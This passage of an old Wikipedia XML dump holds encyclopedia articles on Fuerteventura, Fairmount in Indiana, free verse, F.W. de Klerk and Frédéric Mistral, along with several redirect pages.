The island is on the same latitude as [[Florida]] and [[Mexico]] and temperatures here rarely fall below 18°C or rise above 24°C. There are no fewer than 152 beaches along its coastline - 50 kilometres of fine, white sand and 25 kilometres of black volcanic shingle. 

The summer Trade Winds and winter swells of the Atlantic make this a year-round surfers' paradise. Sailors, scuba divers and big game fishermen are all drawn to these clear blue Atlantic waters where whales, dolphins, marlin and turtles are all common sights.
 
Much of the interior, with its large plains, lavascapes and volcanic mountains, consists of protected areas which can be best be explored in a 4x4 or (for the more daring) with a cross-country motorbike. 
[[Image:fuerteventura panorama1 1200px.jpg|thumb|500px|center|Mountaintop of Cardón (619 m), view from the west]]

==Flag==

The flag color of Fuerteventura is green on the left and white on the right.

==Geography==

Fuerteventura is the oldest island in the Canary Islands dating back to 20 million years from a volcanic eruption. The majority of the island was created about 5 million years ago and since then eroded by wind and weather. The last volcanic activity in Fuerteventura was between 4,000 to 5,000 years ago. The highest point in Fuerteventura is Mount [[Jandía]] (807 m) in the southwestern part of the island.  Geographical features include '''Istmo de la Pared''' which is 5 km wide and is the narrowest part of Fuerteventura, the island is divided into two parts, the northern portion which is '''Maxorata''' and the southwestern part called the Jandía peninsula. The island is the least settled in the Canary Islands.

==Climate==

The climate on the island throughout the year is pleasant. The island is also called the island of eternal springs. The sea adjusts the temperature making the hot [[Sahara]] winds blow away from the island of Fuerteventura. During the winter months, temperatures average a high of 21°C and a low of around 15°C, whereas during the summer a mean high of 27°C and a low of 20°C can be expected.  Precipitation is about 147 mm per annum, most of which falls in the winter. The sandstorm known as the [[scirocco]], ''Leveche'' in Spain blows to the southwest from the Sahara desert causing high temperatures and low visibility and drying air. Temperatures during this phenomena rise by 10 degrees Celsius. The wind brings in fine white sand, visibility drops to about 100 to 200 m or lower, and also African [locust]s.  The local inhabitants call this phenomena the &quot;[[Calima]]&quot;.

==Economy==
[[Image:Fuerteventura kueste3 750px.jpg|thumb|right|250px|Fuerteventura Coastline]]

The main economy on Fuerteventura is tourism; other main industries are fishing, agriculture (cereals and vegetables),  and businesses. Primary tourist areas are around the existing towns of [[Corralejo]] in the north and [[Morro Jable]] in [[Jandia]], plus the purely tourist development at [[Caleta de Fuste]] south of [[Puerto del Rosario]].

==History==

The island's colourful past can be traced in a variety of ancient buildings, monuments, archaeological sites and museums. 
 
The first settlers are believed to have arrived here from North Africa - the word ''Mahorero'' or ''Maho'' is still used today to describe the people of Fuerteventura and comes from the ancient word 'mahos' meaning a type of goatskin shoe worn by the original inhabitants.  They lived in caves and semi-subterranean dwellings, a few of which have been discovered and excavated revealing relics of early tools and pottery.  In antiquity, the island was known as ''Planaria'', among other names, in reference to the flatness of most of its landscape.

In the [[11th century BC]], the [[Phoenicia]]n settlers arrived in Fuerteventura and Lanzarote.  In [[850 BC]], the island was mentioned by [[Homer]] in the [[Odyssey]], the Canary Islands as ''Insulae Fortunatae''.
 
Several Spanish and Portuguese expeditions occurred in about [[1340]] around the island and the island were inhabited by Maurs and were afflicted with European slave holders.

In [[1405]], the French conqueror [[Jean de Bethencourt]] took the island and gave his name to  the former capital, [[Betancuria]], on the west coast (Puerto Rosario took over the mantle as island capital in 1835). The name of the island itself is believed to have come from Bethencourt's exclamation &quot;Que forte aventure!&quot; (&quot;What a grand adventure&quot;).  A less romantic explanation is that the name simply means &quot;strong wind&quot;.

In [[1852]], the free trade zone was extened by [[Isabella II of Spain|Isabella II]] to the Canary Islands.  The military rule over the island which began from [[1708]] dissolved in [[1859]] and Puerto de Cabras (now Puerto del Rosario) became entirely the new capital.[[Image:Fuerteventura kueste2 750px.jpg|thumb|right|250px|[[Ajuy]] beach]]

The Canary islands had the right to self-govern in [[1912]].

In [[1927]], Fuerteventura and [[Lanzarote]] became part of the province of [[Gran Canaria]]. 

By the 1940s the island had an airport (just west of [[Puerto del Rosario]] on the road to Tindaya, still visible today).

Tourism arrived in the mid-1960s with the building of the present airport at [[El Mattoral]] and the first tourist hotels.  

The seat of the island government (''cabildo insular'') is in [[Puerto del Rosario]]. A total of 74,983 people (2003) live on the island.

Since the island is close to [[Africa]], many illegal African immigrants try to enter the European Union through it, by a dangerous boat trip from Morocco.

==Sites of interest==

The sites of interest includes [[Corralejo]] and El Jable to the north which are made up of fine sand [[dunes]], the south is filled with long beaches and remote bays. The constant winds blowing the beaches make the paradise for [[windsurfing]]. [[Water skiing]] is common in the west coast where there are large waves. Windsurfing is common north of Corralejo or at the north coast.

At [[Cofete]] on the western side of Jandía a remote and imposing house - [[Villa Winter]] - looks out to sea across wide and generally empty beaches. It was reputedly built by a Herr Winter on land given by [[Francisco Franco|Generalissimo Franco]].

In [[January 18]], [[1994]], the luxury liner [[SS America (1940)|SS America]] (once was ''USS Westpoint'') was abandoned and left in Playa de Garcey. Better known as [http://www.maritimematters.com/america.html The American Star], conspiracy theories abound as to how the ship came to be wrecked there.

==External links==   
Official Sites
*[http://www.fuerteventuraturismo.com/ Fuerteventuraturismo.com ] - Official page for Tourism in Fuerteventura. (Spanish) 
*[http://www.laoliva.es/ LaOliva.es] - Official Tourism website. Local Authority of La Oliva. Fuerteventura. (Spanish - English - German)
*[http://www.ayuntamientopajara.com/ AyuntamientoPajara.com] - Official Tourism website. Local Authority of Pajara. Fuerteventura. (Spanish - English - German)
*[http://www.cabildofuer.es/ Cabildo de Fuerteventura] - Official Info page for Fuerteventura. (Spanish)

Commercial Sites
*[http://www.fuerteventurainfo.com/ Fuerteventura Info] - Tourist Guide to the Island (English &amp; Spanish) 
*[http://www.sunnyfuerteventura.com/ Sunnyfuerteventura.com ]- Another comprehensive website devoted solely to Fuerteventura (English, Spanish and German)
*[http://www.fuerteventura-forum.com/ Fuerteventura-Forum.com ] - Fuerteventura's Forum &amp; Chat Room
*[http://www.fuerteventura3d.com/ Fuerteventura3D.com ] - Interactive Maps and 3D Satellite Images. Plenty of pictures and info. English and Spanish.
*[http://www.geocities.com/fuerteventuraholidayhomes/ Fuerteventura Holidays and Homes] - Holiday apartments, villas and houses for rent - property management specialists(English)
*[http://www.geocities.com/holiday_fuerteventura/ Holiday Fuerteventura] - Holiday guide to the Island (English)
*[http://www.rent-fuerteventura.com/ Rent Fuerteventura] - Directory of holiday rentals, apartments, villas and self catering accommodation
*[http://www.fuerteventura-travels.com/index.php Fuerteventura-Travels] (English) 
*[http://www.spain-holidayrentals.com/ Holiday rentals home accommodation] 
*[http://www.sun4free.com/fuerteventura-property/ Property in Fuerteventura]
*[http://surfing-fuerteventura.blogspot.com/ Surf Fuerteventura]-(Spanish and English)    
*http://www.fuerteventura-virtuell.de (in German) 
*[http://www.fuerteventuravirtual.com/ www.fuerteventuravirtual.com ] - More than 200 360º panoramic images. News, Events, Guide of companies, etc.   
&lt;!-- 2 External Comercial sites have been reported &amp; REMOVED for irregular edition practises. Please follow edition rules or check w-forum for further details--&gt;

 
{{commons|Fuerteventura|Fuerteventura}}

{{Canary Islands}}

[[Category:Canary Islands]]

[[ca:Fuerteventura]]
[[de:Fuerteventura]]
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[[sv:Fuerteventura]]</text>
    </revision>
  </page>
  <page>
    <title>Fairmount, Indiana</title>
    <id>11476</id>
    <revision>
      <id>33695920</id>
      <timestamp>2006-01-03T05:55:10Z</timestamp>
      <contributor>
        <username>Netoholic</username>
        <id>41995</id>
      </contributor>
      <comment>Infobox City</comment>
      <text xml:space="preserve">{{Infobox City |
official_name = Town of Fairmount, Indiana |
nickname =|
image_map = US-IN-Fairmount.png |
map_caption = Location in the state of [[Indiana]] |
subdivision_type = [[List_of_Indiana_counties|County]] |
subdivision_name = [[Grant County, Indiana|Grant]]|
leader_title= |
leader_name= |
area_note =|
area_magnitude = 1 E6 |
area_total = 3.8 |
area_land = 3.8 |
area_water = 0.0 |
population_as_of = 2000 |
population_note =|
population_total = 2,992 |
population_density = 785.9 |
timezone = [[Eastern Standard Time|EST]] |
utc_offset = -5 |
timezone_DST = [[Eastern Standard Time|EST]] |
utc_offset_DST = -5 |
latitude = 40&amp;deg;25'4&quot; N |
longitude = 85&amp;deg;38'56&quot; W |
website =  |
}}

'''Fairmount''' is a town located in [[Grant County, Indiana|Grant County]] in east central [[Indiana]].  As of the [[2000]] census, the town had a total population of 2,992.  It is ninety kilometers (fifty-five miles) northeast of [[Indianapolis]].  Largely a bed town to its three thousand citizens, Fairmount is best known as the boyhood home of actor [[James Dean]], who is buried there.

== Geography ==
Fairmount is located at 40&amp;deg;25'4&quot; North, 85&amp;deg;38'56&quot; West (40.417702, -85.648942){{GR|1}}.

According to the [[United States Census Bureau]], the town has a total area of 3.8 [[square kilometre|km&amp;sup2;]] (1.5 [[square mile|mi&amp;sup2;]]).  3.8 km&amp;sup2; (1.5 mi&amp;sup2;) of it is land and none of the area is covered with water.

== Demographics ==
As of the [[census]]{{GR|2}} of [[2000]], there are 2,992 people, 1,226 households, and 859 families residing in the town.  The [[population density]] is 785.9/km&amp;sup2; (2,033.0/mi&amp;sup2;).  There are 1,325 housing units at an average density of 348.0/km&amp;sup2; (900.3/mi&amp;sup2;).  The racial makeup of the town is 98.30% [[Race (U.S. Census)|White]], 0.17% [[Race (U.S. Census)|Black]] or [[Race (U.S. Census)|African American]], 0.70% [[Race (U.S. Census)|Native American]], 0.20% [[Race (U.S. Census)|Asian]], 0.07% from [[Race (U.S. Census)|other races]], and 0.57% from two or more races.  0.43% of the population are [[Hispanic American|Hispanic]] or [[Race (U.S. Census)|Latino]] of any race.

[[image:Fairmount-indiana-from-above.jpg|thumb|left|Fairmount from the air, looking southwest.]]

There are 1,226 households out of which 31.2% have children under the age of 18 living with them, 55.5% are [[Marriage|married couples]] living together, 11.0% have a female householder with no husband present, and 29.9% are non-families. 26.5% of all households are made up of individuals and 12.5% have someone living alone who is 65 years of age or older.  The average household size is 2.44 and the average family size is 2.91.

In the town the population is spread out with 25.2% under the age of 18, 8.2% from 18 to 24, 28.2% from 25 to 44, 24.3% from 45 to 64, and 14.1% who are 65 years of age or older.  The median age is 38 years.  For every 100 females there are 90.5 males.  For every 100 females age 18 and over, there are 90.0 males.

The median income for a household in the town is $33,843, and the median income for a family is $44,033. Males have a median income of $31,136 versus $23,041 for females. The [[per capita income]] for the town is $18,029.  9.1% of the population and 7.4% of families are below the [[poverty line]].  Out of the total population, 11.8% of those under the age of 18 and 7.8% of those 65 and older are living below the poverty line.

== External links ==
{{Mapit-US-cityscale|40.417702|-85.648942}}

[[Category:Grant County, Indiana]]
[[Category:Towns in Indiana]]</text>
    </revision>
  </page>
  <page>
    <title>Epistles to the Thessalonians</title>
    <id>11477</id>
    <revision>
      <id>18919931</id>
      <timestamp>2005-07-15T22:13:35Z</timestamp>
      <contributor>
        <username>ZwoBot</username>
        <id>332929</id>
      </contributor>
      <minor />
      <comment>robot  Adding: de</comment>
      <text xml:space="preserve">There are two '''[[Epistle]]s to the [[Thessaloniki|Thessalonians]]''' in the [[Bible]]:
* [[First Epistle to the Thessalonians]]
* [[Second Epistle to the Thessalonians]]

{{disambig}}

[[de:Briefe des Paulus an die Thessalonicher]]
[[nl:Brieven van Paulus aan de Tessalonicenzen]]</text>
    </revision>
  </page>
  <page>
    <title>Free verse</title>
    <id>11478</id>
    <revision>
      <id>41804587</id>
      <timestamp>2006-03-01T21:36:24Z</timestamp>
      <contributor>
        <ip>72.154.40.226</ip>
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      <comment>/* Precursors */</comment>
      <text xml:space="preserve">'''Free verse''' (also at times referred to as ''vers libre'') is a term describing various styles of [[poetry]] that are not written using strict [[Poetic meter|meter]] or [[rhyme]], but that still are recognizable as 'poetry' by virtue of complex patterns of one sort or another that readers can perceive to be part of a coherent whole.{{ref|coherentWhole}}  

==Some types of Free Verse==
[[Philip Hobsbaum]] identifies three major types of free verse:
# free iambic verse which is an extension of the work of the [[Jacobean literature|Jacobean]] dramatists.  Practitioners of this sort of free verse include: [[T. S. Eliot]], [[Hart Crane]], and [[W. H. Auden]].
#  [[Cadence (music)|cadenced]] verse in the manner of [[Walt Whitman]]
# free verse proper, where the discrepancies and variations of meter are centre stage

Cadenced free verse is based on rhythmical phrases that are more irregular than those of  traditional poetic meter. While traditional poetic forms are based on fixed stress-patterns and syllable counts, free verse is not constrained to use a fixed number of syllables for each line, and distributes its stress accents in irregular patterns. Free verse may or may not use rhyme. When it is used, it tends to follow a looser pattern than would be expected in formal verse. Free verse does away with the structuring devices of regular meter and rhyme schemes; other traditional elements of expression, such as diction and syntax may still be prominent.

==History==
An early usage of the term  appears in [[1915]] in the anonymous preface to the first [[Imagist]] anthology.  The main author of this preface was [[Richard Aldington]].  The preface states: &quot;We do not insist upon 'free-verse' as the only method of writing poetry. We fight for it as for a principle of liberty.&quot;

The ideal of the early practitioners of free verse was well described by [[Ezra Pound]], who wrote: &quot;As regarding rhythm: to compose in the sequence of the musical phrase, not in sequence of a metronome.&quot;  [[D. H. Lawrence]] wrote that Whitman &quot;pruned away his clichés &amp;mdash; perhaps his clichés of rhythm as well as of phrase&quot; and that all one could do with free verse was &quot;get rid of the stereotyped movements and the old hackneyed associations of sound and sense&quot;.{{ref|lawrence}}

Some poets have explained that free verse, despite its freedom, must still display some elements of form. Pound's friend [[T. S. Eliot]] wrote: &quot;No verse is free for the man who wants to do a good job.&quot;{{ref|musicOfPoetry}} [[Donald Hall]] goes as far as to say that &quot;the ''form'' of free verse is as binding and as liberating as the ''form'' of a [[rondeau (poetry)|rondeau]].&quot;{{ref|hallRondeau}}

Some poets think free verse too limiting. In [[1922]] [[Robert Bridges]] voiced his reservations in the essay '[[Humdrum and Harum-Scarum]].' [[Robert Frost]], later remarked that writing free verse was like &quot;playing tennis without a net&quot;.
{{sectstub}}

==Precursors==
As the name ''vers libre'' suggests, this technique of using more irregular cadences is often said to derive from the practices of 19th century French poets like ''[[Gustave Kahn]].'' However, in English it can be traced back at least as far as the [[King James Bible]].  Walt Whitman, who based his verse approach on the Bible, was the major precursor for modern poets writing free verse, though they were reluctant to acknowledge his influence. 

Many poets of the Victorian era experimented with form.  [[Christina Rossetti]], [[Coventry Patmore]], and [[T. E. Brown]] all wrote examples of unpatterned rhymed verse. [[Matthew Arnold]]'s poem ''Philomela'' contains some rhyme but is very free.  Poems such as [[W. E. Henley]]'s 'Discharged' (from his ''In Hospital'' sequence), and [[Robert Louis Stevenson]]'s poems 'The Light-Keeper' and 'The Cruel Mistress' could be counted early examples of free verse.{{ref|victorianFreeVerse}}

{{sectstub}}

==References==
*[[G. Burns Cooper]], ''[[Mysterious Music: Rhythm and Free Verse]],'' Stanford University Press, 1998
*[[Charles O. Hartman]], ''[[Free Verse: An Essay on Prosody]],'' Northwestern University Press, 1980. ISBN 0810113163
*[[Philip Hobsbaum]], ''[[Metre, Rhythm and Verse Form (book)|Metre, Rhythm and Verse Form]]''
*[[H. T. Kirby-Smith]], ''[[The Origins of Free Verse]],'' University of Michigan, 1996.  ISBN 0-472-08565-4.
*[[Timothy Steele]], ''[[Missing Measures: Modern Poetry and the Revolt Against Meter]]'', University of Arkansas Press, 1990

==Notes==
#{{note|coherentWhole}} Burns Cooper, ''op. cit.''
#{{note|lawrence}} D. H. Lawrence, from intoduction to ''New Poems''
#{{note|musicOfPoetry}} in the essay &quot;The Music of Poetry&quot; 1942
#{{note|hallRondeau}} Donald Hall, in the essay 'Goatfoot, Milktongue, Twinbird' in the book of the same title. 1978. ISBN 0472400002.
#{{note|victorianFreeVerse}} see note 25 on pae LX of ''The Penguin Book of Victorian Verse'' Penguin Classics, 1999. ISBN 0140445781


[[Category:Poetic form]]

[[de:Freie Rhythmen]]
[[eo:Libera verso]]
[[nl:Vrij vers]]
[[ja:自由詩]]

{{poetry-stub}}</text>
    </revision>
  </page>
  <page>
    <title>Frederik Willem de Klerk</title>
    <id>11479</id>
    <revision>
      <id>41914437</id>
      <timestamp>2006-03-02T16:10:51Z</timestamp>
      <contributor>
        <username>BrownHairedGirl</username>
        <id>754619</id>
      </contributor>
      <comment>/* Ending apartheid */  dab. sanctions</comment>
      <text xml:space="preserve">[[Image:FWdeKlerk.jpg|thumb|'''F.W. de Klerk'''&lt;br&gt;&lt;small&gt;State President of South Africa 1989&amp;ndash;1994&lt;br&gt;Deputy President of South Africa 1994&amp;ndash;1996&lt;/small&gt;]]
'''Frederik Willem de Klerk''' (born [[March 18]], [[1936]]) was the last [[State President of South Africa|State President]] of [[History of South Africa in the apartheid era|Apartheid]] [[South Africa]], serving from September 1989 to May 1994. De Klerk was also leader of the [[National Party (South Africa)|National Party]] (which later became the [[New National Party (South Africa)|New National Party]]) from February 1989 to September 1997.

De Klerk is best known for agreeing to end [[History of South Africa in the apartheid era|apartheid]], South Africa's racial segregation policy, and supporting the transformation of South Africa into a democracy by entering into the negotiations that resulted in all citizens, including the country's black majority, having equal voting and other rights. He shared the [[Nobel Peace Prize]] with [[Nelson Mandela]] in 1993 for his role in the ending of apartheid.

He was the [[Deputy President of South Africa|Deputy President]] of [[South Africa]] during the presidency of [[Nelson Mandela]] until 1996. In 1997, he retired from [[politics]].

==Early career==

Born in [[Johannesburg]], de Klerk is the son of former Senator [[Jan de Klerk]] and a nephew of [[J.G. Strijdom]] ([[Prime Minister of South Africa|Prime Minister]] from [[1954]]–[[1958|58]]). After completing high school in [[Krugersdorp]], de Klerk graduated in [[1958]] from the [[Potchefstroom University]] with [[Bachelor of Arts|BA]] and [[Bachelor of Laws|LLB]] degrees (the latter ''[[cum laude]]''). In [[1969]] he married Marike Willemse, with whom he had two sons and a daughter.

&quot;F.W.&quot;, as he became popularly known, was first elected to the South African [[Parliament]] in 1969 as the member for [[Vereeniging]], and entered the cabinet in 1978. He became [[Transvaal]] provincial National Party leader in 1982. After a long political career and with a very conservative reputation, in 1989 he placed himself at the head of ''verligte'' (&quot;enlightened&quot;) forces within the governing party, with the result that he was elected head of the National Party in February 1989, and finally State President in September 1989 to replace then president [[Pieter Willem Botha|P.W. Botha]] when the latter was forced to step down after a [[stroke]].

==Ending apartheid==
:''Main article: [[History of South Africa in the apartheid era|Apartheid]].''
De Klerk believed that apartheid could not survive and that concessions would need to be made with, at best, power sharing between black and white people. This was for various reasons: 
* escalating unrest in the country, and the realisation that this could only be resolved by political change and not by increased repression by the state
* increasingly stringent international [[international sanctions|sanctions]], driven by the [[United Nations]], which were stifling the South African economy
* an increasing number of white South Africans becoming disillusioned with apartheid
* the collapse of the communism in Eastern Europe and thus the end of the 'rooi gevaar' (red danger).

In his opening address to parliament on [[February 2]], [[1990]], he legalised the [[African National Congress|ANC]], the [[Pan African Congress|PAC]] and the [[South African Communist Party|SACP]], ordered the release of many [[political prisoner]]s, reduced emergency detentions to six months and suspended the [[death sentence]]. These actions paved the way for negotiations which led to the end of apartheid and National Party rule.

On [[February 10]], [[1990]], de Klerk announced that [[Nelson Mandela]] would be released the next day. The Government and the ANC began talks in [[May 1990]], and by [[June 1990|June]] the [[state of emergency]] had been lifted and the ANC had agreed to a ceasefire. In [[1991]], the Acts which restricted land ownership, specified separate living areas and classified people by race were all repealed. South Africa had taken its first real steps towards becoming an open 'multiracial' society.

In 1992, de Klerk held a [[1992 South African Referendum|national referendum]], where white South Africans, being the only enfranchised citizens, voted &quot;Yes&quot; for the reforms. De Klerk and Mandela were jointly awarded the [[Nobel Peace Prize]] in 1993 for their work for the peaceful dismantling of the apartheid regime, and for laying the foundations for a new democratic South Africa.

De Klerk's reforms led many pro-apartheid supporters to leave the [[National Party (South Africa)|National Party]] and join the [[Conservative Party (South Africa)|Conservative Party]], which was against many of the reforms. It also provoked a resurgence of opposition from the white far-right [[Afrikaner Weerstandsbeweging|AWB]], and violence also continued between [[Inkatha]] and the ANC, fuelled by the revelation that the government had given economic and military aid to Inkatha.

In April of 1994, racially inclusive elections were held for the first time ever. De Klerk ran a largely ceremonial and uncompetitive presidential campaign against Mandela, in which Mandela was soundly elected. He went on to serve for two years as deputy president in [[Nelson Mandela]]'s government, but announced his retirement from politics in August, 1997, in order to dissociate the National Party from the policies he had once implemented.

Although doubt has been expressed as to whether the main motivation in his decision to end apartheid was because he believed it to be wrong, or because he was giving in to domestic and international pressure, he cites personal conviction as his primary aim. In his own words, questioned on his rationale for bringing an end to apartheid (speaking at [[Richmond Hill High School]] in [[Ontario, Canada|Ontario]], [[Canada]] in November, 2005), the former President responded that he decided to end apartheid &quot;to bring justice to everybody. The realisation that I cannot build the best interests of my people on the basis of injustice towards a majority of the other people who share the same country with me and my people.&quot;

==Later life==
In [[1998 in South Africa|1998]], Conservative South African opinion was scandalised by de Klerk's messy [[divorce]]  from his wife of 38 years, Marike, and his prompt re-marriage to Elita Georgiades.  Then, in [[2001 in South Africa|2001]], the country was shocked by the [http://www.dispatch.co.za/2003/05/14/southafrica/AAAALEAD.HTM violent death  of his ex-wife], apparently at the hands of a young security guard during the course of a robbery.

In 2004, de Klerk announced that he was quitting the New National Party and seeking a new political home after it was announced that the NNP would merge with the ruling ANC.

==External links==
*[http://www.fwdklerk.org.za The FW de Klerk Foundation]
*[http://anjool.co.uk/south_africa.htm#fw Interview at Oxford Union, 2005]

{{start box}}
{{succession box|title=[[State President of South Africa]]|years=1989&amp;ndash;1994|before=[[Pieter Willem Botha]]|after=[[Nelson Mandela]]''&lt;br&gt;''([[President of South Africa]])''}}
{{succession box | before = [[Rigoberta Menchú]] | title = [[List of Nobel laureates#Peace|Nobel Peace Prize]] | years =1993 | after = [[Yasser Arafat]] &lt;br&gt; [[Shimon Peres]] &lt;br&gt; [[Yitzhak Rabin]]}}
{{end box}}

{{Persondata
|NAME=de Klerk, Frederik Willem
|ALTERNATIVE NAMES=
|SHORT DESCRIPTION=[[State President of South Africa]]
|DATE OF BIRTH=[[March 18]], [[1936]]
|PLACE OF BIRTH=[[Johannesburg]]
|DATE OF DEATH=
|PLACE OF DEATH=
}}

[[Category:South African people|F.W. De Klerk]]
[[Category:1936 births|De Klerk, Frederik Willem]]
[[Category:Living people|De Klerk, Frederik Willem]]
[[Category:Nobel Peace Prize winners|De Klerk, Frederik Willem]]
[[Category:State Presidents of South Africa|De Klerk, Frederik Willem]]
[[Category:South African politicians|De Klerk, Frederik Willem]]
[[Category:Deputy Presidents of South Africa|De Klerk, Frederik Willem]]
[[Category:South African lawyers|De Klerk, Frederik Willem]]
[[Category:Apartheid in South Africa|De Klerk, Frederik Willem]]
[[af:Frederik Willem de Klerk]]
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[[id:Frederik Willem de Klerk]]
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[[ms:F.W. de Klerk]]
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[[pl:Frederik Willem de Klerk]]
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[[uk:Де Клерк Фредерік Вільгельм]]
[[zh:戴克拉克]]</text>
    </revision>
  </page>
  <page>
    <title>Frédéric Mistral</title>
    <id>11481</id>
    <revision>
      <id>39701661</id>
      <timestamp>2006-02-15T06:18:58Z</timestamp>
      <contributor>
        <username>Olivier</username>
        <id>3808</id>
      </contributor>
      <comment>picture from commons</comment>
      <text xml:space="preserve">[[Image:Forum Arles.jpg|250px|thumb|Statue of Frédéric Mistral in Arles]]
'''Frédéric Mistral''' ([[September 8]], [[1830]] - [[March 25]], [[1914]]) was a [[France|French]] [[poet]] who led the [[19th century]] revival of [[Occitan language|Occitan]] ([[Provençal]]) language and literature. He was a key figure in the literary ''[[félibrige]]'' movement. He shared the [[Nobel Prize for Literature]] in [[1904]] (with [[Jose Echegaray y Eizaguirre]]) for his contributions in literature and [[philology]].

==Life==

Frédéric Mistral was born in [[Maillane]], in the [[Bouches-du-Rhône]] ''[[département in France|département]]'' of France. Mistral's father was a well-to-do farmer in the former [[provinces of France|French province]] of [[Provence]]. Mistral attended the Royal College of [[Avignon]] (later renamed the Frédéric Mistral School). One of his teachers was [[Joseph Roumanille]], who had begun writing poems in the vernacular of Provence and who became his lifelong friend. Mistral took a degree in law at the [[University of Aix-en-Provence]] in [[1851]]. 

Wealthy enough to live without following a profession, he early decided to devote himself to the rehabilitation of Provencal life and language. In [[1854]], with several friends, he founded the ''félibrige'', an association for the maintenance of the Provencal language and customs, extended later to include the whole of southern France (le pays de la [[Occitan language|langue d'oc]], &quot;the country of the language of oc&quot;). As the language of the [[troubadour]]s, Provençal had been the cultured speech of southern France and was used also by poets in [[Italy]] and [[Spain]]. Mistral threw himself into the literary revival of Provençal and was the guiding spirit and chief organizer of the ''félibrige'' until his death in 1914.

Mistral devoted 20 years' work to a scholarly dictionary of Provençal, entitled ''[[Lou Tresor dou Felibrige]]'', 2 vol. ([[1878]]). He also founded a Provencal ethnographic museum in [[Arles]], using his Nobel Prize money to assist it. His attempts to restore the Provençal language to its ancient position did not succeed, but his poetic genius gave it some enduring masterpieces, and he is considered one of the greatest poets of France.

Mistral died in Maillane on the 25th of March, 1914.

==Works==

His literary output consists of four long [[narrative poem]]s: ''[[Mirèio]]'' ([[1859]]; Mireio: A Provencal Poem), ''Calendau'' ([[1867]]), ''Nerto'' ([[1884]]), and ''Lou Pouemo dou Rose'' ([[1897]]; Eng. trans. The Song of the Rhone); a historical tragedy, ''La Reino Jano'' (1890; &quot;[[Queen Jane]]&quot;); two volumes of lyrics, ''Lis Isclo d'or'' ([[1876]]; definitive edition [[1889]]) and ''Lis Oulivado'' ([[1912]]); and many short stories, collected in ''Prose d'Armana'', 3 vol. ([[1926]]-[[1929]]).

Mistral's volume of memoirs, ''Moun espelido'' (French: ''Mes origines'', [[1906]]; Eng. trans. ''Memoirs of Mistral''), is his best-known work, but his claim to greatness rests on his first and last long poems, ''Mirèio'' and ''Lou Pouemo dou Rose'', both full-scale [[epic poetry|epic]]s in 12 [[canto]]s.

''Mirèio'', which is set in the poet's own time and district, is the story of a rich farmer's daughter whose love for a poor basketmaker's son is thwarted by her parents and ends with her death in the church of Les [[Saintes-Maries-de-la-Mer]]. Into this poem Mistral poured his love for the countryside where he was born. ''Mirèio'' skillfully combines narration, dialogue, description, and lyricism and is notable for the springy, musical quality of its highly individual stanzaic form. Under its French title, ''Mireille'', it inspired an opera by [[Charles Gounod]] ([[1863]]).

''Lou Pouemo dou Rose'' tells of a voyage on the [[Rhône River]] from [[Lyon]] to [[Beaucaire]] by the barge Lou Caburle, which is boarded first by a romantic young prince of Holland and later by the daughter of a poor ferryman. The romance between them is cut short by disaster when the first [[steamboat]] to sail on the Rhone accidentally sinks Lou Caburle. Though the crew swims ashore, the lovers are drowned. Although less musical and more dense in style than ''Mirèio'', this epic is as full of life and colour. It suggests that Mistral, late in life, realized that his aim had not been reached and that much of what he loved was, like his heroes, doomed to perish.

==Miscellaneous==

In his honour, the [[Chile|Chilean]] poet '''Lucila Godoy Alcayaga''' took his last name as part of her [[pseudonym]], [[Gabriela Mistral]].

The name &quot;Mistral&quot; has also been applied by the people of Provence to the strong wind which is found near the geographically-dominating Mont Ventoux.

{{start box}}
{{succession box | before = [[Bjørnstjerne Bjørnson]] | title = [[List of Nobel laureates#Literature|Nobel Prize in Literature winner]] | years =1904| after = [[Henryk Sienkiewicz]]
}}
{{end box}}




==External link and reference==
* This article incorporates material from [http://www.nobel-winners.com/Literature/mistral_frederic.html]. &quot;All text is available under the terms of the GNU Free Documentation License.&quot;
*[http://www.angelfire.com/ego2/olko/cgi-bin/mistral-bio.html recognition of the fresh originality and true inspiration of his poetic production, which faithfully reflects the natural scenery and native spirit of his people, and, in addition, his significant work as a Provenзal philologist.]
* {{gutenberg author|id=Frédéric_Mistral|name=Frédéric Mistral}}


[[Category:1830 births|Mistral, Frédéric]]
[[Category:1914 deaths|Mistral, Frédéric]]
[[Category:French poets|Mistral, Frédéric]]
[[Category:French philologists|Mistral, Frédéric]]
[[Category:Nobel Prize in Literature winners|Mistral, Frédéric]]

[[zh-min-nan:Frédéric Mistral]]
[[bg:Фредерик Мистрал]]
[[ca:Frederic Mistral]]
[[de:Frédéric Mistral]]
[[es:Frédéric Mistral]]
[[eo:Frederic MISTRAL]]
[[fr:Frédéric Mistral]]
[[ko:프레데릭 미스트랄]]
[[he:פרדריק מיסטרל]]
[[nl:Frederic Mistral]]
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[[pt:Frédéric Mistral]]
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[[sv:Frédéric Mistral]]</text>
    </revision>
  </page>
  <page>
    <title>Five pillars of Islam</title>
    <id>11482</id>
    <revision>
      <id>15909226</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
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      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Five Pillars of Islam]]
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  </page>
  <page>
    <title>Female condom</title>
    <id>11485</id>
    <revision>
      <id>15909229</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
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        <ip>Conversion script</ip>
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      <text xml:space="preserve">#REDIRECT [[Condom]]
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  <page>
    <title>Dylan Thomas/Fern Hill</title>
    <id>11486</id>
    <revision>
      <id>15909230</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <username>Jeronimo</username>
        <id>108</id>
      </contributor>
      <comment>moved to &quot;Fern_Hill&quot;</comment>
      <text xml:space="preserve">#REDIRECT [[Fern_Hill]]
</text>
    </revision>
  </page>
  <page>
    <title>File Formats</title>
    <id>11487</id>
    <revision>
      <id>15909231</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
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      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[File format]]
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  </page>
  <page>
    <title>Furlong</title>
    <id>11488</id>
    <revision>
      <id>39939225</id>
      <timestamp>2006-02-16T23:29:58Z</timestamp>
      <contributor>
        <username>R'son-W</username>
        <id>316079</id>
      </contributor>
      <comment>/* Trivia */</comment>
      <text xml:space="preserve">[[Image:036175 5 furlong.jpg|right|thumb|256px|The 5 furlong (1006 m) post on [[Epsom Derby|Epsom Downs]]]]
